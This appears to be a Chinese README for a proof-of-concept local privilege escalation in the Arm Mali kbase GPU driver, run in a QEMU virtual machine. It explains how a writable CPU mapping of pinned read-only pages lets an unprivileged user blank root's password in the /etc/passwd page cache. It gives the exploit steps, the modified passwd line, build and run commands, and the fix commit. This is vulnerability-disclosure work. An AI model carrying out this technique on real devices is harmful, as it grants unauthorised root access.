Arm Mali GPU 驱动会将已固定为只读的页面以 CPU 可写映射的形式交给用户空间,
因此非特权进程可以获得一个可写别名,指向某个它只能以 O_RDONLY 打开的文件
背后的页缓存。
exploit.c 会清空 /etc/passwd 页缓存中 root 的密码字段,并执行
su root。磁盘上的文件从未被修改。
针对本仓库中的驱动树和 QEMU 目标的 PoC(
mali_kbaser35p0-01eac0,CONFIG_MALI_NO_MALI=y,x86_64 GKI 5.15)。在虚拟机中运行它。
两个决策对于谁可以写入已导入页面存在分歧。
CPU 映射的可写性来自 KBASE_REG_CPU_WR,但固定操作仅根据 KBASE_REG_GPU_WR 请求写
访问:
/* mali_kbase_mem.c */
pinned_pages = pin_user_pages_remote(
mm, address, alloc->imported.user_buf.nr_pages,
reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0, pages, NULL, NULL);
在设置 CPU_WR 且清除 GPU_WR 的情况下导入,你会同时得到两半:导入的可写 CPU
映射,以及未使用 FOLL_WRITE 获取的 get_user_pages 固定。没有
FOLL_WRITE,get_user_pages 绝不会在只读文件映射上破坏 COW,它返回的是
页缓存页面本身。驱动程序随后会将这些页面以可写方式重新映射回用户空间。
由 5381ff7
("GPUCORE-32592 Fix userbuf imports to respect RO memory") 修复,该修复从
KBASE_REG_CPU_WR | KBASE_REG_GPU_WR 而非仅从 GPU_WR 派生写访问权限。
sequenceDiagram
participant U as unprivileged process
participant K as mali_kbase
participant PC as page cache
U->>U: mmap /etc/passwd O_RDONLY, PROT_READ
U->>K: MEM_IMPORT(anon page, CPU_RD|CPU_WR|GPU_RD)
Note over K: address recorded, nothing pinned yet
U->>U: munmap(anon) + mremap file mapping onto that VA
U->>K: mmap(import cookie) → writable CPU mapping
U->>K: JOB_SUBMIT(EXTERNAL_RESOURCES)
K->>PC: pin_user_pages_remote() without FOLL_WRITE
U->>PC: memcpy() through the writable mapping
U->>U: execl("/bin/su", "su", "root")MEM_IMPORT 只记录一个地址;固定操作稍后在 JOB_SUBMIT 时发生。正是这个间隙让
匿名页面可以在其间被替换为文件映射。
该修改保持长度不变,因此 root 行之后的内容不会偏移:
root:x:0:0:root:/root:/bin/sh ← before
root::0:0:rootx:/root:/bin/sh ← after (empty password)
当密码字段为空时,busybox 的 su 会在提示之前返回 CHECKPASS_PW_HAS_EMPTY_PASSWORD,
并且仅当该字段恰好是 x 时才读取 /etc/shadow。
gcc -static -o exploit exploit.c
将其复制到虚拟机中,并以非特权用户身份运行:
$ ./exploit

通过 SSH 进入 QEMU 目标后,以 user(uid 1000)身份录制。./exploit 会修补 /etc/passwd 页缓存中 root 的那一行,
并执行 su root,从而直接进入 root shell,
全程无需提示。
退出该 shell 后再次运行 su 仍然会获得 root:页面仍被缓存,因此之后每次
对 /etc/passwd 的 open()/read() 都会看到被修补的字节。
在 echo 1 > /proc/sys/vm/drop_caches 将该页面逐出并从存储重新读取文件之后,
su 会再次要求输入密码。磁盘上的字节从未被修改。